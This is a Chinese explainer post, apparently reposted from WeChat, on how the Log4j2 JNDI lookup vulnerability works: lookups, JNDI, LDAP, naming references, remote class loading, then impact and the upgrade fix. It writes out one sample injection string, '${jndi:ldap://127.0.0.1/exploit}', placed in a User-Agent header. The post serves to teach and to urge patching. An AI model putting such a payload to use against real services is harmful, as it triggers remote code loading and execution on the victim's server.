相信大家這兩天應(yīng)該被這么一條新聞刷屏了吧：
這個漏洞到底是怎么回事？
核彈級，真的有那么厲害嗎？
怎么利用這個漏洞呢？
我看了很多技術(shù)分析文章，都太過專業(yè)，很多非Java技術(shù)?；蛘卟桓惆踩娜酥荒芸磦€一知半解，導(dǎo)致大家只能看個熱鬧，對這個漏洞的成因、原理、利用方式、影響面理解的不到位。
這篇文章，我嘗試讓所有技術(shù)相關(guān)的朋友都能看懂：這個注定會載入網(wǎng)絡(luò)安全史冊上的漏洞，到底是怎么一回事！
不管是什么編程語言，不管是前端后端還是客戶端，對打日志都不會陌生。
通過日志，可以幫助我們了解程序的運行情況，排查程序運行中出現(xiàn)的問題。
在Java技術(shù)棧中，用的比較多的日志輸出框架主要是log4j2和logback。
今天討論的主角就是log4j2。
我們經(jīng)常會在日志中輸出一些變量，比如：
logger.info('client ip: {}', clientIp)現(xiàn)在思考一個問題：
假如現(xiàn)在想要通過日志輸出一個Java對象，但這個對象不在程序中，而是在其他地方，比如可能在某個文件中，甚至可能在網(wǎng)絡(luò)上的某個地方，這種時候怎么辦呢？
log4j2的強大之處在于，除了可以輸出程序中的變量，它還提供了一個叫Lookup的東西，可以用來輸出更多內(nèi)容：
lookup，顧名思義就是查找、搜索的意思，那在log4j2中，就是允許在輸出日志的時候，通過某種方式去查找要輸出的內(nèi)容。
lookup相當(dāng)于是一個接口，具體去哪里查找，怎么查找，就需要編寫具體的模塊去實現(xiàn)了，類似于面向?qū)ο缶幊讨卸鄳B(tài)那意思。
好在，log4j2已經(jīng)幫我們把常見的查找途徑都進行實現(xiàn)了：
具體每一個字的意思，這里就不詳述了，這不是本文的重點。
主要來看其中那個叫JNDI的東西：
JNDI即Java Naming and Directory Interface（JAVA命名和目錄接口），它提供一個目錄系統(tǒng)，并將服務(wù)名稱與對象關(guān)聯(lián)起來，從而使得開發(fā)人員在開發(fā)過程中可以使用名稱來訪問對象。
看不懂？看不懂就對了！
簡單粗暴理解：有一個類似于字典的數(shù)據(jù)源，你可以通過JNDI接口，傳一個name進去，就能獲取到對象了。
那不同的數(shù)據(jù)源肯定有不同的查找方式，所以JNDI也只是一個上層封裝，在它下面也支持很多種具體的數(shù)據(jù)源。
繼續(xù)把目光聚焦，咱們只看這個叫LDAP的東西。
LDAP即Lightweight Directory Access Protocol（輕量級目錄訪問協(xié)議），目錄是一個為查詢、瀏覽和搜索而優(yōu)化的專業(yè)分布式數(shù)據(jù)庫，它呈樹狀結(jié)構(gòu)組織數(shù)據(jù)，就好象Linux/Unix系統(tǒng)中的文件目錄一樣。目錄數(shù)據(jù)庫和關(guān)系數(shù)據(jù)庫不同，它有優(yōu)異的讀寫性能，但寫性能差，并且沒有事務(wù)處理、回滾等復(fù)雜功能，不適于存儲修改頻繁的數(shù)據(jù)。所以目錄天生是用來查詢的，就好像它的名字一樣。
看不懂？看不懂就對了！
這個東西用在統(tǒng)一身份認證領(lǐng)域比較多，但今天也不是這篇文章的重點。你只需要簡單粗暴理解：有一個類似于字典的數(shù)據(jù)源，你可以通過LDAP協(xié)議，傳一個name進去，就能獲取到數(shù)據(jù)。
好了，有了以上的基礎(chǔ)，再來理解這個漏洞就很容易了。
假如某一個Java程序中，將瀏覽器的類型記錄到了日志中：
String userAgent = request.getHeader('User-Agent');logger.info(userAgent);網(wǎng)絡(luò)安全中有一個準則：不要信任用戶輸入的任何信息。
這其中，User-Agent就屬于外界輸入的信息，而不是自己程序里定義出來的。只要是外界輸入的，就有可能存在惡意的內(nèi)容。
假如有人發(fā)來了一個HTTP請求，他的User-Agent是這樣一個字符串：
${jndi:ldap://127.0.0.1/exploit}
接下來，log4j2將會對這行要輸出的字符串進行解析。
首先，它發(fā)現(xiàn)了字符串中有 ${}，知道這個里面包裹的內(nèi)容是要單獨處理的。
進一步解析，發(fā)現(xiàn)是JNDI擴展內(nèi)容。
再進一步解析，發(fā)現(xiàn)了是LDAP協(xié)議，LDAP服務(wù)器在127.0.0.1，要查找的key是exploit。
最后，調(diào)用具體負責(zé)LDAP的模塊去請求對應(yīng)的數(shù)據(jù)。
如果只是請求普通的數(shù)據(jù)，那也沒什么，但問題就出在還可以請求Java對象！
Java對象一般只存在于內(nèi)存中，但也可以通過序列化的方式將其存儲到文件中，或者通過網(wǎng)絡(luò)傳輸。
如果是自己定義的序列化方式也還好，但更危險的在于：JNDI還支持一個叫命名引用（Naming References）的方式，可以通過遠程下載一個class文件，然后下載后加載起來構(gòu)建對象。
PS：有時候Java對象比較大，直接通過LDAP這些存儲不方便，就整了個類似于二次跳轉(zhuǎn)的意思，不直接返回對象內(nèi)容，而是告訴你對象在哪個class里，讓你去那里找。
注意，這里就是核心問題了：JNDI可以遠程下載class文件來構(gòu)建對象?。。?/strong>。
危險在哪里？
如果遠程下載的URL指向的是一個黑客的服務(wù)器，并且下載的class文件里面藏有惡意代碼，那不就完犢子了嗎？
還沒看懂？沒關(guān)系，我畫了一張圖：
這就是鼎鼎大名的JNDI注入攻擊！
其實除了LDAP，還有RMI的方式，有興趣的可以了解下。
其實這種攻擊手法不是這一次出現(xiàn)了，早在2016的blackhat大會上，就有大佬披露了這種攻擊方式。
回過頭來看，問題的核心在于：
Java允許通過JNDI遠程去下載一個class文件來加載對象，如果這個遠程地址是自己的服務(wù)器，那還好說，如果是可以被外界來指定的地址，那就要出大問題！
前面的例子中，一直用的127.0.0.1來代替LDAP服務(wù)器地址，那如果輸入的User-Agent字符串中不是這個地址，而是一個惡意服務(wù)器地址呢？
這一次漏洞的影響面之所以如此之大，主要還是log4j2的使用面實在是太廣了。
一方面現(xiàn)在Java技術(shù)棧在Web、后端開發(fā)、大數(shù)據(jù)等領(lǐng)域應(yīng)用非常廣泛，國內(nèi)除了阿里巴巴、京東、美團等一大片以Java為主要技術(shù)棧的公司外，還有多如牛毛的中小企業(yè)選擇Java。
另一方面，還有好多像kafka、elasticsearch、flink這樣的大量中間件都是用Java語言開發(fā)的。
在上面這些開發(fā)過程中，大量使用了log4j2作為日志輸出。只要一個不留神，輸出的日志有外部輸入混進來，那直接就是遠程代碼執(zhí)行RCE，滅頂之災(zāi)！
新版的log4j2已經(jīng)修復(fù)了這個問題，大家趕緊升級。
下面是log4j2官網(wǎng)中關(guān)于JNDI lookup的說明：
我通過搜索引擎找到了緩存的12月10號前的快照，大家對比一下，比起下面這個緩存，上面那一版多了哪些東西？
答案是：修復(fù)后的log4j2在JNDI lookup中增加了很多的限制：
默認不再支持二次跳轉(zhuǎn)（也就是命名引用）的方式獲取對象
只有在log4j2.allowedLdapClasses列表中指定的class才能獲取。
只有遠程地址是本地地址或者在log4j2.allowedLdapHosts列表中指定的地址才能獲取
以上幾道限制，算是徹底封鎖了通過打印日志去遠程加載class的這條路了。
最后，手機前的各位Java小伙伴兒們，你們寫的程序中有用到log4j2嗎，有沒有某個地方的輸出，有外部的參數(shù)混進來呢？
趕緊檢查檢查哦！
大家弄懂這個漏洞了嗎？
如果覺得寫得還不錯，歡迎分享轉(zhuǎn)發(fā)，點個贊，感謝大家的閱讀。
原文鏈接：
https://mp.weixin.qq.com/s/4MnOQGg7LBYCUE7BuuGfEQ
